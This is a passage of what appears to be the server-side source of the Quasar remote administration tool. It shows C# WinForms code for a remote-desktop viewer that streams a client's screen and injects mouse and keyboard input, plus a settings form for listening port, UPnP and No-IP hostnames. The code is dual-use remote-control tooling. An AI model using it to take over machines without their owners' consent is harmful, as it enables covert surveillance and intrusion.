System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteDesktop));
this.btnStart = new System.Windows.Forms.Button();
this.btnStop = new System.Windows.Forms.Button();
this.barQuality = new System.Windows.Forms.TrackBar();
this.lblQuality = new System.Windows.Forms.Label();
this.lblQualityShow = new System.Windows.Forms.Label();
this.btnMouse = new System.Windows.Forms.Button();
this.panelTop = new System.Windows.Forms.Panel();
this.btnKeyboard = new System.Windows.Forms.Button();
this.cbMonitors = new System.Windows.Forms.ComboBox();
this.btnHide = new System.Windows.Forms.Button();
this.btnShow = new System.Windows.Forms.Button();
this.toolTipButtons = new System.Windows.Forms.ToolTip(this.components);
this.picDesktop = new RapidPictureBox();
((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit();
this.panelTop.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit();
this.SuspendLayout();
//
// btnStart
//
this.btnStart.Location = new System.Drawing.Point(15, 5);
this.btnStart.Name = "btnStart";
this.btnStart.Size = new System.Drawing.Size(68, 23);
this.btnStart.TabIndex = 1;
this.btnStart.TabStop = false;
this.btnStart.Text = "Start";
this.btnStart.UseVisualStyleBackColor = true;
this.btnStart.Click += new System.EventHandler(this.btnStart_Click);
//
// btnStop
//
this.btnStop.Enabled = false;
this.btnStop.Location = new System.Drawing.Point(96, 5);
this.btnStop.Name = "btnStop";
this.btnStop.Size = new System.Drawing.Size(68, 23);
this.btnStop.TabIndex = 2;
this.btnStop.TabStop = false;
this.btnStop.Text = "Stop";
this.btnStop.UseVisualStyleBackColor = true;
this.btnStop.Click += new System.EventHandler(this.btnStop_Click);
//
// barQuality
//
this.barQuality.Location = new System.Drawing.Point(206, -1);
this.barQuality.Maximum = 100;
this.barQuality.Minimum = 1;
this.barQuality.Name = "barQuality";
this.barQuality.Size = new System.Drawing.Size(76, 45);
this.barQuality.TabIndex = 3;
this.barQuality.TabStop = false;
this.barQuality.Value = 75;
this.barQuality.Scroll += new System.EventHandler(this.barQuality_Scroll);
//
// lblQuality
//
this.lblQuality.AutoSize = true;
this.lblQuality.Location = new System.Drawing.Point(167, 5);
this.lblQuality.Name = "lblQuality";
this.lblQuality.Size = new System.Drawing.Size(46, 13);
this.lblQuality.TabIndex = 4;
this.lblQuality.Text = "Quality:";
//
// lblQualityShow
//
this.lblQualityShow.AutoSize = true;
this.lblQualityShow.Location = new System.Drawing.Point(220, 26);
this.lblQualityShow.Name = "lblQualityShow";
this.lblQualityShow.Size = new System.Drawing.Size(52, 13);
this.lblQualityShow.TabIndex = 5;
this.lblQualityShow.Text = "75 (high)";
//
// btnMouse
//
this.btnMouse.Image = global::Quasar.Server.Properties.Resources.mouse_delete;
this.btnMouse.Location = new System.Drawing.Point(302, 5);
this.btnMouse.Name = "btnMouse";
this.btnMouse.Size = new System.Drawing.Size(28, 28);
this.btnMouse.TabIndex = 6;
this.btnMouse.TabStop = false;
this.toolTipButtons.SetToolTip(this.btnMouse, "Enable mouse input.");
this.btnMouse.UseVisualStyleBackColor = true;
this.btnMouse.Click += new System.EventHandler(this.btnMouse_Click);
//
// panelTop
//
this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.panelTop.Controls.Add(this.btnKeyboard);
this.panelTop.Controls.Add(this.cbMonitors);
this.panelTop.Controls.Add(this.btnHide);
this.panelTop.Controls.Add(this.lblQualityShow);
this.panelTop.Controls.Add(this.btnMouse);
this.panelTop.Controls.Add(this.btnStart);
this.panelTop.Controls.Add(this.btnStop);
this.panelTop.Controls.Add(this.lblQuality);
this.panelTop.Controls.Add(this.barQuality);
this.panelTop.Location = new System.Drawing.Point(189, -1);
this.panelTop.Name = "panelTop";
this.panelTop.Size = new System.Drawing.Size(384, 57);
this.panelTop.TabIndex = 7;
//
// btnKeyboard
//
this.btnKeyboard.Image = global::Quasar.Server.Properties.Resources.keyboard_delete;
this.btnKeyboard.Location = new System.Drawing.Point(336, 5);
this.btnKeyboard.Name = "btnKeyboard";
this.btnKeyboard.Size = new System.Drawing.Size(28, 28);
this.btnKeyboard.TabIndex = 9;
this.btnKeyboard.TabStop = false;
this.toolTipButtons.SetToolTip(this.btnKeyboard, "Enable keyboard input.");
this.btnKeyboard.UseVisualStyleBackColor = true;
this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click);
//
// cbMonitors
//
this.cbMonitors.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cbMonitors.FormattingEnabled = true;
this.cbMonitors.Location = new System.Drawing.Point(15, 30);
this.cbMonitors.Name = "cbMonitors";
this.cbMonitors.Size = new System.Drawing.Size(149, 21);
this.cbMonitors.TabIndex = 8;
this.cbMonitors.TabStop = false;
//
// btnHide
//
this.btnHide.Location = new System.Drawing.Point(170, 37);
this.btnHide.Name = "btnHide";
this.btnHide.Size = new System.Drawing.Size(54, 19);
this.btnHide.TabIndex = 7;
this.btnHide.TabStop = false;
this.btnHide.Text = "Hide";
this.btnHide.UseVisualStyleBackColor = true;
this.btnHide.Click += new System.EventHandler(this.btnHide_Click);
//
// btnShow
//
this.btnShow.Location = new System.Drawing.Point(0, 0);
this.btnShow.Name = "btnShow";
this.btnShow.Size = new System.Drawing.Size(54, 19);
this.btnShow.TabIndex = 8;
this.btnShow.TabStop = false;
this.btnShow.Text = "Show";
this.btnShow.UseVisualStyleBackColor = true;
this.btnShow.Visible = false;
this.btnShow.Click += new System.EventHandler(this.btnShow_Click);
//
// picDesktop
//
this.picDesktop.BackColor = System.Drawing.Color.Black;
this.picDesktop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.picDesktop.Cursor = System.Windows.Forms.Cursors.Default;
this.picDesktop.Dock = System.Windows.Forms.DockStyle.Fill;
this.picDesktop.GetImageSafe = null;
this.picDesktop.Location = new System.Drawing.Point(0, 0);
this.picDesktop.Name = "picDesktop";
this.picDesktop.Running = false;
this.picDesktop.Size = new System.Drawing.Size(784, 562);
this.picDesktop.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.picDesktop.TabIndex = 0;
this.picDesktop.TabStop = false;
this.picDesktop.MouseDown += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseDown);
this.picDesktop.MouseMove += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseMove);
this.picDesktop.MouseUp += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseUp);
//
// FrmRemoteDesktop
//
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(784, 562);
this.Controls.Add(this.btnShow);
this.Controls.Add(this.panelTop);
this.Controls.Add(this.picDesktop);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.KeyPreview = true;
this.MinimumSize = new System.Drawing.Size(640, 480);
this.Name = "FrmRemoteDesktop";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Remote Desktop []";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteDesktop_FormClosing);
this.Load += new System.EventHandler(this.FrmRemoteDesktop_Load);
this.Resize += new System.EventHandler(this.FrmRemoteDesktop_Resize);
((System.ComponentModel.ISupportInitialize)(this.barQuality)).EndInit();
this.panelTop.ResumeLayout(false);
this.panelTop.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.picDesktop)).EndInit();
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.Button btnStart;
private System.Windows.Forms.Button btnStop;
private System.Windows.Forms.TrackBar barQuality;
private System.Windows.Forms.Label lblQuality;
private System.Windows.Forms.Label lblQualityShow;
private System.Windows.Forms.Button btnMouse;
private System.Windows.Forms.Panel panelTop;
private System.Windows.Forms.Button btnHide;
private System.Windows.Forms.Button btnShow;
private System.Windows.Forms.ComboBox cbMonitors;
private System.Windows.Forms.Button btnKeyboard;
private System.Windows.Forms.ToolTip toolTipButtons;
private Controls.RapidPictureBox picDesktop;
}
}
+475
View File
@@ -0,0 +1,475 @@
using Gma.System.MouseKeyHook;
using Quasar.Common.Enums;
using Quasar.Common.Helpers;
using Quasar.Common.Messages;
using Quasar.Server.Helper;
using Quasar.Server.Messages;
using Quasar.Server.Networking;
using Quasar.Server.Utilities;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
public partial class FrmRemoteDesktop : Form
{
/// <summary>
/// States whether remote mouse input is enabled.
/// </summary>
private bool _enableMouseInput;
/// <summary>
/// States whether remote keyboard input is enabled.
/// </summary>
private bool _enableKeyboardInput;
/// <summary>
/// Holds the state of the local keyboard hooks.
/// </summary>
private IKeyboardMouseEvents _keyboardHook;
/// <summary>
/// Holds the state of the local mouse hooks.
/// </summary>
private IKeyboardMouseEvents _mouseHook;
/// <summary>
/// A list of pressed keys for synchronization between key down & -up events.
/// </summary>
private readonly List<Keys> _keysPressed;
/// <summary>
/// The client which can be used for the remote desktop.
/// </summary>
private readonly Client _connectClient;
/// <summary>
/// The message handler for handling the communication with the client.
/// </summary>
private readonly RemoteDesktopHandler _remoteDesktopHandler;
/// <summary>
/// Holds the opened remote desktop form for each client.
/// </summary>
private static readonly Dictionary<Client, FrmRemoteDesktop> OpenedForms = new Dictionary<Client, FrmRemoteDesktop>();
/// <summary>
/// Creates a new remote desktop form for the client or gets the current open form, if there exists one already.
/// </summary>
/// <param name="client">The client used for the remote desktop form.</param>
/// <returns>
/// Returns a new remote desktop form for the client if there is none currently open, otherwise creates a new one.
/// </returns>
public static FrmRemoteDesktop CreateNewOrGetExisting(Client client)
{
if (OpenedForms.ContainsKey(client))
{
return OpenedForms[client];
}
FrmRemoteDesktop r = new FrmRemoteDesktop(client);
r.Disposed += (sender, args) => OpenedForms.Remove(client);
OpenedForms.Add(client, r);
return r;
}
/// <summary>
/// Initializes a new instance of the <see cref="FrmRemoteDesktop"/> class using the given client.
/// </summary>
/// <param name="client">The client used for the remote desktop form.</param>
public FrmRemoteDesktop(Client client)
{
_connectClient = client;
_remoteDesktopHandler = new RemoteDesktopHandler(client);
_keysPressed = new List<Keys>();
RegisterMessageHandler();
InitializeComponent();
}
/// <summary>
/// Called whenever a client disconnects.
/// </summary>
/// <param name="client">The client which disconnected.</param>
/// <param name="connected">True if the client connected, false if disconnected</param>
private void ClientDisconnected(Client client, bool connected)
{
if (!connected)
{
this.Invoke((MethodInvoker)this.Close);
}
}
/// <summary>
/// Registers the remote desktop message handler for client communication.
/// </summary>
private void RegisterMessageHandler()
{
_connectClient.ClientState += ClientDisconnected;
_remoteDesktopHandler.DisplaysChanged += DisplaysChanged;
_remoteDesktopHandler.ProgressChanged += UpdateImage;
MessageHandler.Register(_remoteDesktopHandler);
}
/// <summary>
/// Unregisters the remote desktop message handler.
/// </summary>
private void UnregisterMessageHandler()
{
MessageHandler.Unregister(_remoteDesktopHandler);
_remoteDesktopHandler.DisplaysChanged -= DisplaysChanged;
_remoteDesktopHandler.ProgressChanged -= UpdateImage;
_connectClient.ClientState -= ClientDisconnected;
}
/// <summary>
/// Subscribes to local mouse and keyboard events for remote desktop input.
/// </summary>
private void SubscribeEvents()
{
// TODO: Check Hook.GlobalEvents vs Hook.AppEvents below
// TODO: Maybe replace library with .NET events like on Linux
if (PlatformHelper.RunningOnMono) // Mono/Linux
{
this.KeyDown += OnKeyDown;
this.KeyUp += OnKeyUp;
}
else // Windows
{
_keyboardHook = Hook.GlobalEvents();
_keyboardHook.KeyDown += OnKeyDown;
_keyboardHook.KeyUp += OnKeyUp;
_mouseHook = Hook.AppEvents();
_mouseHook.MouseWheel += OnMouseWheelMove;
}
}
/// <summary>
/// Unsubscribes from local mouse and keyboard events.
/// </summary>
private void UnsubscribeEvents()
{
if (PlatformHelper.RunningOnMono) // Mono/Linux
{
this.KeyDown -= OnKeyDown;
this.KeyUp -= OnKeyUp;
}
else // Windows
{
if (_keyboardHook != null)
{
_keyboardHook.KeyDown -= OnKeyDown;
_keyboardHook.KeyUp -= OnKeyUp;
_keyboardHook.Dispose();
}
if (_mouseHook != null)
{
_mouseHook.MouseWheel -= OnMouseWheelMove;
_mouseHook.Dispose();
}
}
}
/// <summary>
/// Starts the remote desktop stream and begin to receive desktop frames.
/// </summary>
private void StartStream()
{
ToggleConfigurationControls(true);
picDesktop.Start();
// Subscribe to the new frame counter.
picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated);
this.ActiveControl = picDesktop;
_remoteDesktopHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex);
}
/// <summary>
/// Stops the remote desktop stream.
/// </summary>
private void StopStream()
{
ToggleConfigurationControls(false);
picDesktop.Stop();
// Unsubscribe from the frame counter. It will be re-created when starting again.
picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated);
this.ActiveControl = picDesktop;
_remoteDesktopHandler.EndReceiveFrames();
}
/// <summary>
/// Toggles the activatability of configuration controls in the status/configuration panel.
/// </summary>
/// <param name="started">When set to <code>true</code> the configuration controls get enabled, otherwise they get disabled.</param>
private void ToggleConfigurationControls(bool started)
{
btnStart.Enabled = !started;
btnStop.Enabled = started;
barQuality.Enabled = !started;
cbMonitors.Enabled = !started;
}
/// <summary>
/// Toggles the visibility of the status/configuration panel.
/// </summary>
/// <param name="visible">Decides if the panel should be visible.</param>
private void TogglePanelVisibility(bool visible)
{
panelTop.Visible = visible;
btnShow.Visible = !visible;
this.ActiveControl = picDesktop;
}
/// <summary>
/// Called whenever the remote displays changed.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="displays">The currently available displays.</param>
private void DisplaysChanged(object sender, int displays)
{
cbMonitors.Items.Clear();
for (int i = 0; i < displays; i++)
cbMonitors.Items.Add($"Display {i + 1}");
cbMonitors.SelectedIndex = 0;
}
/// <summary>
/// Updates the current desktop image by drawing it to the desktop picturebox.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="bmp">The new desktop image to draw.</param>
private void UpdateImage(object sender, Bitmap bmp)
{
picDesktop.UpdateImage(bmp, false);
}
private void FrmRemoteDesktop_Load(object sender, EventArgs e)
{
this.Text = WindowHelper.GetWindowTitle("Remote Desktop", _connectClient);
OnResize(EventArgs.Empty); // trigger resize event to align controls
_remoteDesktopHandler.RefreshDisplays();
}
/// <summary>
/// Updates the title with the current frames per second.
/// </summary>
/// <param name="e">The new frames per second.</param>
private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e)
{
this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Desktop", _connectClient), e.CurrentFramesPerSecond.ToString("0.00"));
}
private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e)
{
// all cleanup logic goes here
UnsubscribeEvents();
if (_remoteDesktopHandler.IsStarted) StopStream();
UnregisterMessageHandler();
_remoteDesktopHandler.Dispose();
picDesktop.Image?.Dispose();
}
private void FrmRemoteDesktop_Resize(object sender, EventArgs e)
{
if (WindowState == FormWindowState.Minimized)
return;
_remoteDesktopHandler.LocalResolution = picDesktop.Size;
panelTop.Left = (this.Width - panelTop.Width) / 2;
btnShow.Left = (this.Width - btnShow.Width) / 2;
btnHide.Left = (panelTop.Width - btnHide.Width) / 2;
}
private void btnStart_Click(object sender, EventArgs e)
{
if (cbMonitors.Items.Count == 0)
{
MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.",
"Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
SubscribeEvents();
StartStream();
}
private void btnStop_Click(object sender, EventArgs e)
{
UnsubscribeEvents();
StopStream();
}
#region Remote Desktop Input
private void picDesktop_MouseDown(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
{
MouseAction action = MouseAction.None;
if (e.Button == MouseButtons.Left)
action = MouseAction.LeftDown;
if (e.Button == MouseButtons.Right)
action = MouseAction.RightDown;
int selectedDisplayIndex = cbMonitors.SelectedIndex;
_remoteDesktopHandler.SendMouseEvent(action, true, e.X, e.Y, selectedDisplayIndex);
}
}
private void picDesktop_MouseUp(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
{
MouseAction action = MouseAction.None;
if (e.Button == MouseButtons.Left)
action = MouseAction.LeftUp;
if (e.Button == MouseButtons.Right)
action = MouseAction.RightUp;
int selectedDisplayIndex = cbMonitors.SelectedIndex;
_remoteDesktopHandler.SendMouseEvent(action, false, e.X, e.Y, selectedDisplayIndex);
}
}
private void picDesktop_MouseMove(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
{
int selectedDisplayIndex = cbMonitors.SelectedIndex;
_remoteDesktopHandler.SendMouseEvent(MouseAction.MoveCursor, false, e.X, e.Y, selectedDisplayIndex);
}
}
private void OnMouseWheelMove(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
{
_remoteDesktopHandler.SendMouseEvent(e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown,
false, 0, 0, cbMonitors.SelectedIndex);
}
}
private void OnKeyDown(object sender, KeyEventArgs e)
{
if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus)
{
if (!IsLockKey(e.KeyCode))
e.Handled = true;
if (_keysPressed.Contains(e.KeyCode))
return;
_keysPressed.Add(e.KeyCode);
_remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, true);
}
}
private void OnKeyUp(object sender, KeyEventArgs e)
{
if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus)
{
if (!IsLockKey(e.KeyCode))
e.Handled = true;
_keysPressed.Remove(e.KeyCode);
_remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, false);
}
}
private bool IsLockKey(Keys key)
{
return ((key & Keys.CapsLock) == Keys.CapsLock)
|| ((key & Keys.NumLock) == Keys.NumLock)
|| ((key & Keys.Scroll) == Keys.Scroll);
}
#endregion
#region Remote Desktop Configuration
private void barQuality_Scroll(object sender, EventArgs e)
{
int value = barQuality.Value;
lblQualityShow.Text = value.ToString();
if (value < 25)
lblQualityShow.Text += " (low)";
else if (value >= 85)
lblQualityShow.Text += " (best)";
else if (value >= 75)
lblQualityShow.Text += " (high)";
else if (value >= 25)
lblQualityShow.Text += " (mid)";
this.ActiveControl = picDesktop;
}
private void btnMouse_Click(object sender, EventArgs e)
{
if (_enableMouseInput)
{
this.picDesktop.Cursor = Cursors.Default;
btnMouse.Image = Properties.Resources.mouse_delete;
toolTipButtons.SetToolTip(btnMouse, "Enable mouse input.");
_enableMouseInput = false;
}
else
{
this.picDesktop.Cursor = Cursors.Hand;
btnMouse.Image = Properties.Resources.mouse_add;
toolTipButtons.SetToolTip(btnMouse, "Disable mouse input.");
_enableMouseInput = true;
}
this.ActiveControl = picDesktop;
}
private void btnKeyboard_Click(object sender, EventArgs e)
{
if (_enableKeyboardInput)
{
this.picDesktop.Cursor = Cursors.Default;
btnKeyboard.Image = Properties.Resources.keyboard_delete;
toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input.");
_enableKeyboardInput = false;
}
else
{
this.picDesktop.Cursor = Cursors.Hand;
btnKeyboard.Image = Properties.Resources.keyboard_add;
toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input.");
_enableKeyboardInput = true;
}
this.ActiveControl = picDesktop;
}
#endregion
private void btnHide_Click(object sender, EventArgs e)
{
TogglePanelVisibility(false);
}
private void btnShow_Click(object sender, EventArgs e)
{
TogglePanelVisibility(true);
}
}
}
+200
View File
@@ -0,0 +1,200 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="toolTipButtons.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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QAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+300
View File
@@ -0,0 +1,300 @@
namespace Quasar.Server.Forms
{
partial class FrmSettings
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSettings));
this.btnSave = new System.Windows.Forms.Button();
this.lblPort = new System.Windows.Forms.Label();
this.ncPort = new System.Windows.Forms.NumericUpDown();
this.chkAutoListen = new System.Windows.Forms.CheckBox();
this.chkPopup = new System.Windows.Forms.CheckBox();
this.btnListen = new System.Windows.Forms.Button();
this.btnCancel = new System.Windows.Forms.Button();
this.chkUseUpnp = new System.Windows.Forms.CheckBox();
this.chkShowTooltip = new System.Windows.Forms.CheckBox();
this.chkNoIPIntegration = new System.Windows.Forms.CheckBox();
this.lblHost = new System.Windows.Forms.Label();
this.lblPass = new System.Windows.Forms.Label();
this.lblUser = new System.Windows.Forms.Label();
this.txtNoIPPass = new System.Windows.Forms.TextBox();
this.txtNoIPUser = new System.Windows.Forms.TextBox();
this.txtNoIPHost = new System.Windows.Forms.TextBox();
this.chkShowPassword = new System.Windows.Forms.CheckBox();
this.chkIPv6Support = new System.Windows.Forms.CheckBox();
((System.ComponentModel.ISupportInitialize)(this.ncPort)).BeginInit();
this.SuspendLayout();
//
// btnSave
//
this.btnSave.Location = new System.Drawing.Point(227, 298);
this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(75, 23);
this.btnSave.TabIndex = 19;
this.btnSave.Text = "&Save";
this.btnSave.UseVisualStyleBackColor = true;
this.btnSave.Click += new System.EventHandler(this.btnSave_Click);
//
// lblPort
//
this.lblPort.AutoSize = true;
this.lblPort.Location = new System.Drawing.Point(12, 11);
this.lblPort.Name = "lblPort";
this.lblPort.Size = new System.Drawing.Size(93, 13);
this.lblPort.TabIndex = 0;
this.lblPort.Text = "Port to listen on:";
//
// ncPort
//
this.ncPort.Location = new System.Drawing.Point(111, 7);
this.ncPort.Maximum = new decimal(new int[] {
65535,
0,
0,
0});
this.ncPort.Minimum = new decimal(new int[] {
1,
0,
0,
0});
this.ncPort.Name = "ncPort";
this.ncPort.Size = new System.Drawing.Size(75, 22);
this.ncPort.TabIndex = 1;
this.ncPort.Value = new decimal(new int[] {
1,
0,
0,
0});
//
// chkAutoListen
//
this.chkAutoListen.AutoSize = true;
this.chkAutoListen.Location = new System.Drawing.Point(12, 68);
this.chkAutoListen.Name = "chkAutoListen";
this.chkAutoListen.Size = new System.Drawing.Size(222, 17);
this.chkAutoListen.TabIndex = 6;
this.chkAutoListen.Text = "Listen for new connections on startup";
this.chkAutoListen.UseVisualStyleBackColor = true;
//
// chkPopup
//
this.chkPopup.AutoSize = true;
this.chkPopup.Location = new System.Drawing.Point(12, 91);
this.chkPopup.Name = "chkPopup";
this.chkPopup.Size = new System.Drawing.Size(259, 17);
this.chkPopup.TabIndex = 7;
this.chkPopup.Text = "Show popup notification on new connection";
this.chkPopup.UseVisualStyleBackColor = true;
//
// btnListen
//
this.btnListen.Location = new System.Drawing.Point(192, 6);
this.btnListen.Name = "btnListen";
this.btnListen.Size = new System.Drawing.Size(110, 23);
this.btnListen.TabIndex = 2;
this.btnListen.Text = "Start listening";
this.btnListen.UseVisualStyleBackColor = true;
this.btnListen.Click += new System.EventHandler(this.btnListen_Click);
//
// btnCancel
//
this.btnCancel.Location = new System.Drawing.Point(146, 298);
this.btnCancel.Name = "btnCancel";
this.btnCancel.Size = new System.Drawing.Size(75, 23);
this.btnCancel.TabIndex = 18;
this.btnCancel.Text = "&Cancel";
this.btnCancel.UseVisualStyleBackColor = true;
this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
//
// chkUseUpnp
//
this.chkUseUpnp.AutoSize = true;
this.chkUseUpnp.Location = new System.Drawing.Point(12, 114);
this.chkUseUpnp.Name = "chkUseUpnp";
this.chkUseUpnp.Size = new System.Drawing.Size(249, 17);
this.chkUseUpnp.TabIndex = 8;
this.chkUseUpnp.Text = "Try to automatically forward the port (UPnP)";
this.chkUseUpnp.UseVisualStyleBackColor = true;
//
// chkShowTooltip
//
this.chkShowTooltip.AutoSize = true;
this.chkShowTooltip.Location = new System.Drawing.Point(12, 137);
this.chkShowTooltip.Name = "chkShowTooltip";
